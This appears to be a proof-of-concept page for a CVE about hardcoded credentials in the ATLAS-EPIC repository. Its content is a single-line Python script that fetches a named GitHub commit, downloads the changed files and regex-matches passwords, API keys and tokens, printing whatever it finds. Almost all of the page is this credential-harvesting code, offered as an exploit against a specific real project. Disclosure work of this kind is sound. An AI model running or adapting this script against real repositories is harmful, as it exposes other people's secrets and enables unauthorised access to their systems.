CVE-2025-60639 ATLAS-EPIC硬编码凭证漏洞

# CVE-2025-60639 PoC - Hardcoded Credentials in ATLAS-EPIC # The vulnerability exists in commit f29312c of gsigel14/ATLAS-EPIC # Attackers can extract hardcoded credentials directly from the public GitHub repository import requests import re import base64 def exploit_cve_2025_60639(): """ PoC for CVE-2025-60639: Hardcoded credentials in ATLAS-EPIC This demonstrates how an attacker can extract hardcoded credentials from the publicly accessible GitHub repository. """ # Target commit containing the hardcoded credentials repo_owner = "gsiegel14" repo_name = "ATLAS-EPIC" commit_sha = "f29312cf782ec5a6537fceaeb6a9ced7d7d04e1f" # Step 1: Fetch the commit details from GitHub API commit_url = f"https://api.github.com/repos/{repo_owner}/{repo_name}/commits/{commit_sha}" print(f"[*] Fetching commit {commit_sha} from {repo_owner}/{repo_name}...") response = requests.get(commit_url) if response.status_code == 200: commit_data = response.json() print(f"[+] Commit message: {commit_data.get('commit', {}).get('message', 'N/A')}") # Step 2: Iterate through modified files to find hardcoded credentials for file in commit_data.get('files', []): filename = file.get('filename', '') raw_url = file.get('raw_url', '') # Step 3: Download the raw content of the file if raw_url: file_response = requests.get(raw_url) if file_response.status_code == 200: content = file_response.text # Step 4: Search for common credential patterns credential_patterns = [ r'(?i)(password|passwd|pwd)\s*[=:]\s*["'"'"'][^"'"'"']+["'"'"']', r'(?i)(api[_-]?key|apikey|api[_-]?secret)\s*[=:]\s*["'"'"'][^"'"'"']+["'"'"']', r'(?i)(secret|token|access[_-]?token)\s*[=:]\s*["'"'"'][^"'"'"']+["'"'"']', r'(?i)(auth[_-]?token|bearer)\s*[=:]\s*["'"'"'][^"'"'"']+["'"'"']', ] for pattern in credential_patterns: matches = re.findall(pattern, content) if matches: print(f"[!] Found potential credentials in {filename}:") for match in matches: print(f" -> {match}") else: print(f"[-] Failed to fetch commit. Status code: {response.status_code}") if __name__ == "__main__": exploit_cve_2025_60639()